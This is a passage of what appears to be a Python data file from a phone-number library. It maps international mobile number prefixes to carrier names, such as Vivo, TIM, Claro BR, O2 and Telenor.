Celular'}, '4478930':{'en': 'Magrathea'}, '4478931':{'en': '24 Seven'}, '4478933':{'en': 'Yim Siam'}, '553199103':{'en': 'TIM'}, '4478938':{'en': 'aql'}, '4478939':{'en': 'Citrus'}, '346841':{'en': 'Tuenti'}, '346840':{'en': 'Tuenti'}, '346843':{'en': 'Tuenti'}, '346842':{'en': 'Tuenti'}, '346845':{'en': 'Tuenti'}, '346846':{'en': 'Telecable'}, '452395':{'en': 'Telia'}, '553199104':{'en': 'TIM'}, '553598419':{'en': 'Claro BR'}, '553598418':{'en': 'Claro BR'}, '4581371':{'en': 'CLX Networks AB'}, '4581370':{'en': 'Flexonet'}, '4581373':{'en': 'M Mobility'}, '4581372':{'en': 'Interfone International'}, '553598411':{'en': 'Claro BR'}, '553598413':{'en': 'Claro BR'}, '553598412':{'en': 'Claro BR'}, '553598415':{'en': 'Claro BR'}, '553598414':{'en': 'Claro BR'}, '553598417':{'en': 'Claro BR'}, '553598416':{'en': 'Claro BR'}, '3670':{'en': 'Vodafone'}, '1787579':{'en': 'Claro'}, '551599119':{'en': 'Claro BR'}, '551599118':{'en': 'Claro BR'}, '554399158':{'en': 'Vivo'}, '554399159':{'en': 'Vivo'}, '26096':{'en': 'MTN'}, '26097':{'en': 'Airtel'}, '551599117':{'en': 'Claro BR'}, '26095':{'en': 'ZAMTEL'}, '551599111':{'en': 'Claro BR'}, '554399153':{'en': 'Vivo'}, '551599113':{'en': 'Claro BR'}, '551599112':{'en': 'Claro BR'}, '1758518':{'en': 'Digicel'}, '552798178':{'en': 'TIM'}, '1758519':{'en': 'Digicel'}, '552798175':{'en': 'TIM'}, '552798174':{'en': 'TIM'}, '552798177':{'en': 'TIM'}, '552798176':{'en': 'TIM'}, '552798171':{'en': 'TIM'}, '552798173':{'en': 'TIM'}, '552798172':{'en': 'TIM'}, '553898431':{'en': 'Claro BR'}, '474077':{'en': 'NetCom'}, '553898437':{'en': 'Claro BR'}, '45616':{'en': 'TDC'}, '553199896':{'en': 'Telemig Celular'}, '421919':{'en': 'Orange'}, '421918':{'en': 'Orange'}, '45615':{'en': 'TDC'}, '421915':{'en': 'Orange'}, '421914':{'en': 'Telekom'}, '421917':{'en': 'Orange'}, '421916':{'en': 'Orange'}, '421911':{'en': 'Telekom'}, '421910':{'en': 'Telekom'}, '553899181':{'en': 'TIM'}, '421912':{'en': 'Telekom'}, '2345389':{'en': 'Starcomms'}, '2345381':{'en': 'Starcomms'}, '2345382':{'en': 'Starcomms'}, '2345383':{'en': 'Starcomms'}, '2345384':{'en': 'Starcomms'}, '2345385':{'en': 'Starcomms'}, '2345386':{'en': 'Starcomms'}, '2345387':{'en': 'Starcomms'}, '554598838':{'en': 'Claro BR'}, '551195780':{'en': 'Vivo'}, '551195781':{'en': 'Vivo'}, '551195782':{'en': 'Vivo'}, '551195783':{'en': 'Vivo'}, '3460309':{'en': 'Lebara'}, '3460308':{'en': 'Lebara'}, '549385':{'en': 'Personal'}, '3460305':{'en': 'Lebara'}, '3460304':{'en': 'Vodafone'}, '3460307':{'en': 'Lebara'}, '3460306':{'en': 'Lebara'}, '3460301':{'en': 'Vodafone'}, '3460300':{'en': 'Vodafone'}, '3460303':{'en': 'Vodafone'}, '551195785':{'en': 'Vivo'}, '551195786':{'en': 'Vivo'}, '407000':{'en': 'Enigma-System'}, '552299235':{'en': 'Claro BR'}, '552299233':{'en': 'Claro BR'}, '552299231':{'en': 'Claro BR'}, '553199607':{'en': 'Telemig Celular'}, '553199606':{'en': 'Telemig Celular'}, '553199605':{'en': 'Telemig Celular'}, '553199604':{'en': 'Telemig Celular'}, '553199603':{'en': 'Telemig Celular'}, '553199602':{'en': 'Telemig Celular'}, '553199601':{'en': 'Telemig Celular'}, '553199609':{'en': 'Telemig Celular'}, '553199608':{'en': 'Telemig Celular'}, '212627':{'en': 'Inwi'}, '212626':{'en': 'Inwi'}, '212625':{'en': u('M\u00e9ditel')}, '212624':{'en': 'Maroc Telecom'}, '212623':{'en': 'Maroc Telecom'}, '212622':{'en': 'Maroc Telecom'}, '212621':{'en': u('M\u00e9ditel')}, '212620':{'en': u('M\u00e9ditel')}, '212629':{'en': 'Inwi'}, '212628':{'en': 'Maroc Telecom'}, '47918':{'en': 'Telenor'}, '47916':{'en': 'Telenor'}, '47917':{'en': 'Telenor'}, '47915':{'en': 'Telenor'}, '47913':{'en': 'Telenor'}, '551699992':{'en': 'Vivo'}, '551699993':{'en': 'Vivo'}, '507637':{'en': 'Cable & Wireless'}, '507636':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507635':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507634':{'en': 'Cable & Wireless'}, '507633':{'en': 'Cable & Wireless'}, '507632':{'en': 'Claro'}, '507631':{'en': 'Claro'}, '507630':{'en': 'Claro'}, '4478722':{'en': 'Cloud9'}, '4478727':{'en': 'Telecom 10'}, '507638':{'en': u('Telef\u00f3nica M\u00f3viles')}, '554399141':{'en': 'Vivo'}, '4475710':{'en': '09 Mobile'}, '551998229':{'en': 'TIM'}, '551998224':{'en': 'TIM'}, '551998225':{'en': 'TIM'}, '551998226':{'en': 'TIM'}, '4475718':{'en': 'Alliance'}, '551998221':{'en': 'TIM'}, '551998222':{'en': 'TIM'}, '551998223':{'en': 'TIM'}, '554199169':{'en': 'Vivo'}, '554199168':{'en': 'Vivo'}, '554199165':{'en': 'Vivo'}, '554199164':{'en': 'Vivo'}, '554199167':{'en': 'Vivo'}, '554199166':{'en': 'Vivo'}, '554199161':{'en': 'Vivo'}, '554199163':{'en': 'Vivo'}, '554199162':{'en': 'Vivo'}, '554199246':{'en': 'Vivo'}, '553899902':{'en': 'Telemig Celular'}, '30691234':{'en': 'M-STAT'}, '517297269':{'en': 'Movistar'}, '553899901':{'en': 'Telemig Celular'}, '517297262':{'en': 'Movistar'}, '517297263':{'en': 'Movistar'}, '517297260':{'en': 'Movistar'}, '517297261':{'en': 'Movistar'}, '553599135':{'en': 'TIM'}, '551999667':{'en': 'Vivo'}, '553599137':{'en': 'TIM'}, '553599136':{'en': 'TIM'}, '553599131':{'en': 'TIM'}, '553599133':{'en': 'TIM'}, '551999666':{'en': 'Vivo'}, '553599139':{'en': 'TIM'}, '551999665':{'en': 'Vivo'}, '3465429':{'en': 'DIA'}, '551698152':{'en': 'TIM'}, '514494978':{'en': 'Movistar'}, '514494979':{'en': 'Movistar'}, '514494976':{'en': 'Claro'}, '514494977':{'en': 'Claro'}, '514494974':{'en': 'Claro'}, '514494975':{'en': 'Claro'}, '514494972':{'en': 'Claro'}, '514494973':{'en': 'Claro'}, '514494970':{'en': 'Claro'}, '514494971':{'en': 'Claro'}, '5547988':{'en': 'Claro BR'}, '551999669':{'en': 'Vivo'}, '551999668':{'en': 'Vivo'}, '193924199':{'en': 'Claro'}, '26134':{'en': 'Telma'}, '553199182':{'en': 'TIM'}, '553199183':{'en': 'TIM'}, '553199184':{'en': 'TIM'}, '553199185':{'en': 'TIM'}, '26133':{'en': 'Airtel'}, '26132':{'en': 'Orange'}, '553199188':{'en': 'TIM'}, '4476546':{'en': 'PageOne'}, '4476545':{'en': 'PageOne'}, '4476543':{'en': 'PageOne'}, '4476542':{'en': 'PageOne'}, '455068':{'en': 'CBB Mobil'}, '455066':{'en': 'CBB Mobil'}, '455067':{'en': 'CBB Mobil'}, '455064':{'en': 'Lycamobile Denmark Ltd'}, '455065':{'en': 'Lebara Limited'}, '455062':{'en': 'CBB Mobil'}, '455063':{'en': 'Mundio Mobile'}, '455060':{'en': 'ipvision'}, '455061':{'en': 'Mach Connectivity'}, '346041':{'en': 'Lebara'}, '346040':{'en': 'R'}, '346043':{'en': 'Lebara'}, '30695330':{'en': 'Apifon'}, '22968':{'en': 'Moov'}, '22969':{'en': 'MTN'}, '22966':{'en': 'MTN'}, '22967':{'en': 'MTN'}, '22964':{'en': 'Moov'}, '22965':{'en': 'Moov'}, '22962':{'en': 'MTN'}, '22963':{'en': 'Moov'}, '22960':{'en': 'Moov'}, '22961':{'en': 'MTN'}, '552899964':{'en': 'Vivo'}, '552899965':{'en': 'Vivo'}, '552899210':{'en': 'Claro BR'}, '552899967':{'en': 'Vivo'}, '552899961':{'en': 'Vivo'}, '552899962':{'en': 'Vivo'}, '552899963':{'en': 'Vivo'}, '551197049':{'en': 'TIM'}, '552899969':{'en': 'Vivo'}, '30685185':{'en': 'Cyta'}, '554299154':{'en': 'Vivo'}, '447449':{'en': 'Three'}, '447448':{'en': 'Lycamobile'}, '554599965':{'en': 'TIM'}, '554599964':{'en': 'TIM'}, '554599967':{'en': 'TIM'}, '554599966':{'en': 'TIM'}, '447443':{'en': 'Vodafone'}, '447442':{'en': 'Vodafone'}, '447440':{'en': 'Lycamobile'}, '447447':{'en': 'Three'}, '447446':{'en': 'Three'}, '447445':{'en': 'Three'}, '447444':{'en': 'Vodafone'}, '234807':{'en': 'Glo'}, '234806':{'en': 'MTN'}, '234805':{'en': 'Glo'}, '234804':{'en': 'Ntel'}, '234803':{'en': 'MTN'}, '234802':{'en': 'Airtel'}, '26269320':{'en': 'SFR'}, '26269321':{'en': 'Orange'}, '234809':{'en': '9mobile'}, '234808':{'en': 'Airtel'}, '554299902':{'en': 'TIM'}, '554299903':{'en': 'TIM'}, '554299901':{'en': 'TIM'}, '554299906':{'en': 'TIM'}, '554299907':{'en': 'TIM'}, '554299904':{'en': 'TIM'}, '554299905':{'en': 'TIM'}, '554299908':{'en': 'TIM'}, '554499113':{'en': 'Vivo'}, '554499112':{'en': 'Vivo'}, '554499111':{'en': 'Vivo'}, '554499117':{'en': 'Vivo'}, '554499116':{'en': 'Vivo'}, '554499115':{'en': 'Vivo'}, '554499114':{'en': 'Vivo'}, '554499119':{'en': 'Vivo'}, '554499118':{'en': 'Vivo'}, '554299156':{'en': 'Vivo'}, '55169881':{'en': 'Oi'}, '5527998':{'en': 'Vivo'}, '5527999':{'en': 'Vivo'}, '474654':{'en': 'NetCom'}, '554299151':{'en': 'Vivo'}, '5527997':{'en': 'Vivo'}, '474650':{'en': 'NetCom'}, '23769':{'en': 'Orange'}, '23768':{'en': 'MTN Cameroon'}, '23767':{'en': 'MTN Cameroon'}, '23766':{'en': 'NEXTTEL'}, '553799115':{'en': 'TIM'}, '553799114':{'en': 'TIM'}, '553799117':{'en': 'TIM'}, '553799116':{'en': 'TIM'}, '553799111':{'en': 'TIM'}, '553799113':{'en': 'TIM'}, '553799112':{'en': 'TIM'}, '553799119':{'en': 'TIM'}, '4478925':{'en': 'FleXtel'}, '22176':{'en': 'Tigo'}, '50769':{'en': 'Cable & Wireless'}, '50768':{'en': u('Telef\u00f3nica M\u00f3viles')}, '178765':{'en': 'CENTENNIAL'}, '178764':{'en': 'CENTENNIAL'}, '50765':{'en': 'Cable & Wireless'}, '50764':{'en': u('Telef\u00f3nica M\u00f3viles')}, '50767':{'en': 'Cable & Wireless'}, '50761':{'en': 'Digicel'}, '50760':{'en': 'Digicel'}, '50762':{'en': 'Claro'}, '22172':{'en': 'HAYO'}, '554699976':{'en': 'TIM'}, '551899648':{'en': 'Vivo'}, '551899649':{'en': 'Vivo'}, '55439960':{'en': 'TIM'}, '551899642':{'en': 'Vivo'}, '551899643':{'en': 'Vivo'}, '551899641':{'en': 'Vivo'}, '551899646':{'en': 'Vivo'}, '551899647':{'en': 'Vivo'}, '551899644':{'en': 'Vivo'}, '551899645':{'en': 'Vivo'}, '554799943':{'en': 'TIM'}, '553299133':{'en': 'TIM'}, '554799945':{'en': 'TIM'}, '1242395':{'en': 'BaTelCo'}, '554799947':{'en': 'TIM'}, '553598439':{'en': 'Claro BR'}, '553598438':{'en': 'Claro BR'}, '553598437':{'en': 'Claro BR'}, '553598436':{'en': 'Claro BR'}, '553598435':{'en': 'Claro BR'}, '553598434':{'en': 'Claro BR'}, '553598433':{'en': 'Claro BR'}, '553598432':{'en': 'Claro BR'}, '553598431':{'en': 'Claro BR'}, '551195769':{'en': 'Vivo'}, '1787513':{'en': 'SunCom Wireless Puerto Rico'}, '1787514':{'en': 'Claro'}, '1787515':{'en': 'Claro'}, '1787516':{'en': 'Claro'}, '1787517':{'en': 'Claro'}, '1787518':{'en': 'Claro'}, '1787519':{'en': 'Claro'}, '551599133':{'en': 'Claro BR'}, '551599132':{'en': 'Claro BR'}, '551599131':{'en': 'Claro BR'}, '554399177':{'en': 'Vivo'}, '551599137':{'en': 'Claro BR'}, '551599136':{'en': 'Claro BR'}, '551599135':{'en': 'Claro BR'}, '551599134':{'en': 'Claro BR'}, '551599139':{'en': 'Claro BR'}, '551599138':{'en': 'Claro BR'}, '554399178':{'en': 'Vivo'}, '554399179':{'en': 'Vivo'}, '552798153':{'en': 'TIM'}, '38595':{'en': 'Tele2'}, '474010':{'en': 'NetCom'}, '474011':{'en': 'NetCom'}, '552798157':{'en': 'TIM'}, '38591':{'en': 'Vip'}, '38592':{'en': 'Vip'}, '552798154':{'en': 'TIM'}, '552798159':{'en': 'TIM'}, '552798158':{'en': 'TIM'}, '38598':{'en': 'Hrvatski Telekom'}, '38599':{'en': 'Hrvatski Telekom'}, '30691000':{'en': 'BWS'}, '554299122':{'en': 'Vivo'}, '554299123':{'en': 'Vivo'}, '554299124':{'en': 'Vivo'}, '554299125':{'en': 'Vivo'}, '554299126':{'en': 'Vivo'}, '554299127':{'en': 'Vivo'}, '554299128':{'en': 'Vivo'}, '554299129':{'en': 'Vivo'}, '554398425':{'en': 'Brasil Telecom GSM'}, '506701':{'en': 'Claro'}, '516796773':{'en': 'Claro'}, '4915050':{'en': 'NAKA AG'}, '506703':{'en': 'Claro'}, '554398421':{'en': 'Brasil Telecom GSM'}, '554398423':{'en': 'Brasil Telecom GSM'}, '553599906':{'en': 'Telemig Celular'}, '554398422':{'en': 'Brasil Telecom GSM'}, '459299':{'en': 'ipvision'}, '459298':{'en': 'SimService'}, '459290':{'en': 'Justfone'}, '459293':{'en': 'SimService'}, '459292':{'en': 'Mobil Data'}, '459295':{'en': 'SimService'}, '459294':{'en': 'SimService'}, '459297':{'en': 'SimService'}, '459296':{'en': 'SimService'}, '554398429':{'en': 'Brasil Telecom GSM'}, '551498122':{'en': 'TIM'}, '554398428':{'en': 'Brasil Telecom GSM'}, '551999685':{'en': 'Vivo'}, '551999684':{'en': 'Vivo'}, '551999687':{'en': 'Vivo'}, '551999686':{'en': 'Vivo'}, '551999681':{'en': 'Vivo'}, '551999683':{'en': 'Vivo'}, '551999682':{'en': 'Vivo'}, '551999689':{'en': 'Vivo'}, '551999688':{'en': 'Vivo'}, '552899222':{'en': 'Claro BR'}, '5024479':{'en': 'Tigo'}, '5024478':{'en': 'Tigo'}, '5024477':{'en': 'Tigo'}, '5024476':{'en': 'Tigo'}, '23327':{'en': 'tiGO'}, '553498422':{'en': 'Claro BR'}, '553498421':{'en': 'Claro BR'}, '553498420':{'en': 'Claro BR'}, '23893':{'en': 'T+'}, '23324':{'en': 'MTN'}, '51749789':{'en': 'Movistar'}, '51749788':{'en': 'Movistar'}, '23323':{'en': 'Globacom (Zain)'}, '551197977':{'en': 'Oi'}, '551197976':{'en': 'Oi'}, '455290':{'en': 'Lebara Limited'}, '551197972':{'en': 'Oi'}, '506702':{'en': 'Claro'}, '347125':{'en': 'Yoigo'}, '1767614':{'en': 'Digicel'}, '1767617':{'en': 'Digicel'}, '347126':{'en': 'Yoigo'}, '347121':{'en': 'Yoigo'}, '553199668':{'en': 'Telemig Celular'}, '347123':{'en': 'Yoigo'}, '347122':{'en': 'Yoigo'}, '553199665':{'en': 'Telemig Celular'}, '553199664':{'en': 'Telemig Celular'}, '553199667':{'en': 'Telemig Celular'}, '553199666':{'en': 'Telemig Celular'}, '553199661':{'en': 'Telemig Celular'}, '347128':{'en': 'Yoigo'}, '553199663':{'en': 'Telemig Celular'}, '553199662':{'en': 'Telemig Celular'}, '50372':{'en': 'Tigo'}, '50373':{'en': 'Digicel'}, '50371':{'en': 'Movistar'}, '50376':{'en': 'Claro'}, '447781':{'en': 'Sure'}, '447782':{'en': 'Three'}, '447783':{'en': 'O2'}, '47934':{'en': 'NetCom'}, '479191':{'en': 'Telenor'}, '47936':{'en': 'NetCom'}, '212642':{'en': 'Maroc Telecom'}, '47930':{'en': 'NetCom'}, '212644':{'en': u('M\u00e9ditel')}, '47932':{'en': 'NetCom'}, '212646':{'en': 'Inwi'}, '212649':{'en': u('M\u00e9ditel')}, '479199':{'en': 'Telenor'}, '47938':{'en': 'NetCom'}, '554399145':{'en': 'Vivo'}, '551699606':{'en': 'Vivo'}, '551699607':{'en': 'Vivo'}, '551699601':{'en': 'Vivo'}, '551599161':{'en': 'Claro BR'}, '553899108':{'en': 'TIM'}, '551699608':{'en': 'Vivo'}, '45422':{'en': 'Telia'}, '551599163':{'en': 'Claro BR'}, '1787686':{'en': 'CENTENNIAL'}, '1787687':{'en': 'CENTENNIAL'}, '507659':{'en': u('Telef\u00f3nica M\u00f3viles')}, '1787689':{'en': 'CENTENNIAL'}, '551599165':{'en': 'Claro BR'}, '551599166':{'en': 'Claro BR'}, '554399142':{'en': 'Vivo'}, '503799':{'en': 'Movistar'}, '503794':{'en': 'Tigo'}, '503795':{'en': 'Claro'}, '503796':{'en': 'Claro'}, '503797':{'en': 'Digicel'}, '503790':{'en': 'Tigo'}, '503791':{'en': 'Tigo'}, '503792':{'en': 'Tigo'}, '503793':{'en': 'Tigo'}, '554199143':{'en': 'Vivo'}, '554199142':{'en': 'Vivo'}, '554199141':{'en': 'Vivo'}, '554199147':{'en': 'Vivo'}, '554199146':{'en': 'Vivo'}, '554199145':{'en': 'Vivo'}, '554199144':{'en': 'Vivo'}, '554199149':{'en': 'Vivo'}, '554199148':{'en': 'Vivo'}, '554599124':{'en': 'Vivo'}, '1939731':{'en': 'CENTENNIAL'}, '4478743':{'en': 'O2'}, '4478742':{'en': 'O2'}, '4478741':{'en': 'O2'}, '4478740':{'en': 'O2'}, '4478747':{'en': 'O2'}, '4478746':{'en': 'O2'}, '4478744':{'en': 'Citrus'}, '552198304':{'en': 'TIM'}, '552198305':{'en': 'TIM'}, '4478749':{'en': 'O2'}, '4478748':{'en': 'O2'}, '552198301':{'en': 'TIM'}, '552198302':{'en': 'TIM'}, '552198303':{'en': 'TIM'}, '354385':{'en': u('S\u00edminn')}, '354389':{'en': 'IMC'}, '354388':{'en': 'IMC'}, '230579':{'en': 'Cellplus'}, '230578':{'en': 'Cellplus'}, '230573':{'en': 'Emtel'}, '230572':{'en': 'Emtel'}, '230571':{'en': 'Emtel'}, '230570':{'en': 'Cellplus'}, '230577':{'en': 'Cellplus'}, '230576':{'en': 'Cellplus'}, '230575':{'en': 'Cellplus'}, '230574':{'en': 'Emtel'}, '2346469':{'en': 'Starcomms'}, '554598839':{'en': 'Claro BR'}, '2346461':{'en': 'Starcomms'}, '2346462':{'en': 'Starcomms'}, '1242899':{'en': 'aliv'}, '3069522':{'en': 'Vodafone'}, '3069523':{'en': 'Vodafone'}, '553499105':{'en': 'TIM'}, '458179':{'en': 'CBB Mobil'}, '458178':{'en': 'CBB Mobil'}, '458173':{'en': 'YouSee'}, '458172':{'en': 'Fullrate'}, '458171':{'en': 'YouSee'}, '458170':{'en': 'CBB Mobil'}, '458177':{'en': 'ipvision'}, '458176':{'en': 'CBB Mobil'}, '458175':{'en': 'YouSee'}, '458174':{'en': 'YouSee'}, '514494954':{'en': 'Movistar'}, '514494955':{'en': 'Movistar'}, '514494950':{'en': 'Movistar'}, '514494951':{'en': 'Movistar'}, '514494952':{'en': 'Movistar'}, '514494953':{'en': 'Movistar'}, '554299111':{'en': 'Vivo'}, '554299113':{'en': 'Vivo'}, '554299112':{'en': 'Vivo'}, '2992':{'en': 'TELE Greenland A/S'}, '554299114':{'en': 'Vivo'}, '553599119':{'en': 'TIM'}, '553599118':{'en': 'TIM'}, '553599113':{'en': 'TIM'}, '553599112':{'en': 'TIM'}, '553599111':{'en': 'TIM'}, '553599117':{'en': 'TIM'}, '553599116':{'en': 'TIM'}, '553599115':{'en': 'TIM'}, '553599114':{'en': 'TIM'}, '554198441':{'en': 'Brasil Telecom GSM'}, '554599913':{'en': 'TIM'}, '554198443':{'en': 'Brasil Telecom GSM'}, '37449':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '30695310':{'en': 'MI Carrier Services'}, '37444':{'en': 'Ucom', 'ru': u('\u042e\u043a\u043e\u043c')}, '37443':{'en': 'Beeline', 'ru': u('\u0411\u0438\u043b\u0430\u0439\u043d')}, '37441':{'en': 'Ucom', 'ru': u('\u042e\u043a\u043e\u043c')}, '1787300':{'en': 'CENTENNIAL'}, '553499108':{'en': 'TIM'}, '17587':{'en': 'Digicel'}, '554599919':{'en': 'TIM'}, '4857':{'en': 'Play'}, '4851':{'en': 'Orange'}, '4850':{'en': 'Orange'}, '551499189':{'en': 'Claro BR'}, '551499188':{'en': 'Claro BR'}, '1242646':{'en': 'BaTelCo'}, '551499185':{'en': 'Claro BR'}, '551499184':{'en': 'Claro BR'}, '551499187':{'en': 'Claro BR'}, '551499186':{'en': 'Claro BR'}, '551499181':{'en': 'Claro BR'}, '551499183':{'en': 'Claro BR'}, '551499182':{'en': 'Claro BR'}, '164923':{'en': 'C&W'}, '164924':{'en': 'C&W'}, '554599947':{'en': 'TIM'}, '554599946':{'en': 'TIM'}, '554599945':{'en': 'TIM'}, '554599944':{'en': 'TIM'}, '554599943':{'en': 'TIM'}, '554599942':{'en': 'TIM'}, '554599941':{'en': 'TIM'}, '551799646':{'en': 'Vivo'}, '551799645':{'en': 'Vivo'}, '551799644':{'en': 'Vivo'}, '551799643':{'en': 'Vivo'}, '551799642':{'en': 'Vivo'}, '551799641':{'en': 'Vivo'}, '554599948':{'en': 'TIM'}, '554299928':{'en': 'TIM'}, '554299929':{'en': 'TIM'}, '554299921':{'en': 'TIM'}, '554299922':{'en': 'TIM'}, '554299923':{'en': 'TIM'}, '1787256':{'en': 'Claro'}, '554299925':{'en': 'TIM'}, '554299926':{'en': 'TIM'}, '554299927':{'en': 'TIM'}, '45939':{'en': '3'}, '30698':{'en': 'Cosmote'}, '30697':{'en': 'Cosmote'}, '30694':{'en': 'Vodafone'}, '30693':{'en': 'Wind'}, '45935':{'en': 'Telenor'}, '553299912':{'en': 'Telemig Celular'}, '553299913':{'en': 'Telemig Celular'}, '1869557':{'en': 'CariGlobe St. Kitts'}, '1869556':{'en': 'CariGlobe St. Kitts'}, '553299917':{'en': 'Telemig Celular'}, '553299914':{'en': 'Telemig Celular'}, '553599903':{'en': 'Telemig Celular'}, '1787255':{'en': 'Claro'}, '553299919':{'en': 'Telemig Celular'}, '1869558':{'en': 'CariGlobe St. Kitts'}, '551899776':{'en': 'Vivo'}, '553199304':{'en': 'TIM'}, '352658':{'en': 'POST'}, '352651':{'en': 'POST'}, '553799139':{'en': 'TIM'}, '553799138':{'en': 'TIM'}, '553799133':{'en': 'TIM'}, '553799132':{'en': 'TIM'}, '553799131':{'en': 'TIM'}, '553799137':{'en': 'TIM'}, '553799136':{'en': 'TIM'}, '553799135':{'en': 'TIM'}, '553799134':{'en': 'TIM'}, '50248':{'en': 'Tigo'}, '24390':{'en': 'Africell'}, '50246':{'en': 'Tigo'}, '554799969':{'en': 'TIM'}, '50247':{'en': 'Telgua'}, '50244':{'en': 'Movistar'}, '50245':{'en': 'Tigo'}, '50242':{'en': 'Telgua'}, '180963':{'en': 'Tricom'}, '554799968':{'en': 'TIM'}, '24399':{'en': 'Zain'}, '50241':{'en': 'Telgua'}, '553199416':{'en': 'TIM'}, '553199414':{'en': 'TIM'}, '553199415':{'en': 'TIM'}, '553199412':{'en': 'TIM'}, '553199413':{'en': 'TIM'}, '50121':{'en': 'DigiCell'}, '50120':{'en': 'DigiCell'}, '554299139':{'en': 'Vivo'}, '3467':{'en': 'Vodafone'}, '551899662':{'en': 'Vivo'}, '551899663':{'en': 'Vivo'}, '551899664':{'en': 'Vivo'}, '551899665':{'en': 'Vivo'}, '551899666':{'en': 'Vivo'}, '551899667':{'en': 'Vivo'}, '551899668':{'en': 'Vivo'}, '551899669':{'en': 'Vivo'}, '3465':{'en': 'Orange'}, '553599923':{'en': 'Telemig Celular'}, '554299138':{'en': 'Vivo'}, '346889':{'en': 'PepePhone'}, '346888':{'en': 'Euskaltel'}, '346885':{'en': 'YouMobile'}, '346884':{'en': 'MasMovil'}, '346887':{'en': 'Euskaltel'}, '346886':{'en': 'Euskaltel'}, '346881':{'en': 'YouMobile'}, '346880':{'en': 'YouMobile'}, '346883':{'en': 'MasMovil'}, '346882':{'en': 'MasMovil'}, '4079':{'en': 'Vodafone'}, '4078':{'en': 'Telekom'}, '5519994':{'en': 'Claro BR'}, '4075':{'en': 'Orange'}, '4074':{'en': 'Orange'}, '4076':{'en': 'Telekom'}, '4073':{'en': 'Vodafone'}, '4072':{'en': 'Vodafone'}, '553398428':{'en': 'Claro BR'}, '553398429':{'en': 'Claro BR'}, '553398422':{'en': 'Claro BR'}, '553398423':{'en': 'Claro BR'}, '553398421':{'en': 'Claro BR'}, '553398426':{'en': 'Claro BR'}, '553398427':{'en': 'Claro BR'}, '553398424':{'en': 'Claro BR'}, '553398425':{'en': 'Claro BR'}, '553598455':{'en': 'Claro BR'}, '553598454':{'en': 'Claro BR'}, '553598457':{'en': 'Claro BR'}, '553598456':{'en': 'Claro BR'}, '553598451':{'en': 'Claro BR'}, '553598453':{'en': 'Claro BR'}, '553598452':{'en': 'Claro BR'}, '553598459':{'en': 'Claro BR'}, '553598458':{'en': 'Claro BR'}, '3630':{'en': 'T-Mobile'}, '1787537':{'en': 'CENTENNIAL'}, '1787534':{'en': 'CENTENNIAL'}, '1787535':{'en': 'CENTENNIAL'}, '447960':{'en': 'EE'}, '447961':{'en': 'EE'}, '447962':{'en': 'EE'}, '447963':{'en': 'EE'}, '45605':{'en': '3'}, '553199247':{'en': 'TIM'}, '553199246':{'en': 'TIM'}, '1787346':{'en': 'SunCom Wireless Puerto Rico'}, '474031':{'en': 'NetCom'}, '474032':{'en': 'NetCom'}, '25475':{'en': 'Airtel'}, '554299147':{'en': 'Vivo'}, '25477':{'en': 'Telkom'}, '553199244':{'en': 'TIM'}, '25471':{'en': 'Safaricom'}, '25470':{'en': 'Safaricom'}, '25473':{'en': 'Airtel'}, '25472':{'en': 'Safaricom'}, '553199243':{'en': 'TIM'}, '25479':{'en': 'Safaricom'}, '25478':{'en': 'Airtel'}, '554299148':{'en': 'Vivo'}, '553199242':{'en': 'TIM'}, '553199241':{'en': 'TIM'}, '420967':{'en': 'Vodafone'}, '420966':{'en': 'O2'}, '420965':{'en': 'T-Mobile'}, '420964':{'en': 'T-Mobile'}, '420963':{'en': 'T-Mobile'}, '420962':{'en': 'O2'}, '4476401':{'en': 'Telecom2'}, '45239':{'en': 'TDC'}, '45238':{'en': 'TDC'}, '48609':{'en': 'Plus'}, '48608':{'en': 'T-Mobile'}, '45235':{'en': 'TDC'}, '48606':{'en': 'T-Mobile'}, '48605':{'en': 'Plus'}, '48604':{'en': 'T-Mobile'}, '48603':{'en': 'Plus'}, '48602':{'en': 'T-Mobile'}, '45233':{'en': 'TDC'}, '48600':{'en': 'T-Mobile'}, '553199249':{'en': 'TIM'}, '553199248':{'en': 'TIM'}, '554498404':{'en': 'Brasil Telecom GSM'}, '1869762':{'en': 'Digicel'}, '1869763':{'en': 'Digicel'}, '1869760':{'en': 'Digicel'}, '554498405':{'en': 'Brasil Telecom GSM'}, '1869766':{'en': 'Digicel'}, '1869764':{'en': 'Digicel'}, '1869765':{'en': 'Digicel'}, '5119943':{'en': 'Claro'}, '5119946':{'en': 'Claro'}, '5119947':{'en': 'Claro'}, '5119944':{'en': 'Movistar'}, '5119945':{'en': 'Movistar'}, '5119948':{'en': 'Claro'}, '5119949':{'en': 'Claro'}, '554498408':{'en': 'Brasil Telecom GSM'}, '554498409':{'en': 'Brasil Telecom GSM'}, '553599818':{'en': 'Telemig Celular'}, '553599819':{'en': 'Telemig Celular'}, '38165':{'en': 'mts'}, '452599':{'en': 'Danovation'}, '38164':{'en': 'mts'}, '452597':{'en': '3'}, '452596':{'en': 'Viptel'}, '452595':{'en': 'CoolTEL'}, '452594':{'en': 'Firmafon'}, '452593':{'en': 'Compatel Limited'}, '452592':{'en': 'CoolTEL'}, '452591':{'en': 'CoolTEL'}, '452590':{'en': 'MI Carrier Services'}, '421950':{'en': '4ka of SWAN'}, '553199643':{'en': 'Telemig Celular'}, '30690555':{'en': 'AMD Telecom'}, '553199641':{'en': 'Telemig Celular'}, '553199647':{'en': 'Telemig Celular'}, '234980':{'en': 'Starcomms'}, '553199645':{'en': 'Telemig Celular'}, '553199644':{'en': 'Telemig Celular'}, '553199649':{'en': 'Telemig Celular'}, '505838':{'en': 'Movistar'}, '24201':{'en': 'Equateur Telecom'}, '35989':{'en': 'Telenor'}, '1784430':{'en': 'AT&T'}, '1784431':{'en': 'AT&T'}, '24205':{'en': 'Celtel'}, '24204':{'en': 'Warid'}, '1784434':{'en': 'Digicel'}, '24206':{'en': 'MTN'}, '51449496':{'en': 'Movistar'}, '447764':{'en': 'O2'}, '447762':{'en': 'O2'}, '447763':{'en': 'O2'}, '447761':{'en': 'O2'}, '47952':{'en': 'Telenor'}, '1242454':{'en': 'BaTelCo'}, '212669':{'en': u('M\u00e9ditel')}, '212668':{'en': 'Maroc Telecom'}, '1242451':{'en': 'BaTelCo'}, '47957':{'en': 'Telenor'}, '47954':{'en': 'Telenor'}, '1242452':{'en': 'BaTelCo'}, '212663':{'en': u('M\u00e9ditel')}, '212662':{'en': 'Maroc Telecom'}, '47958':{'en': 'Telenor'}, '47959':{'en': 'Telenor'}, '212667':{'en': 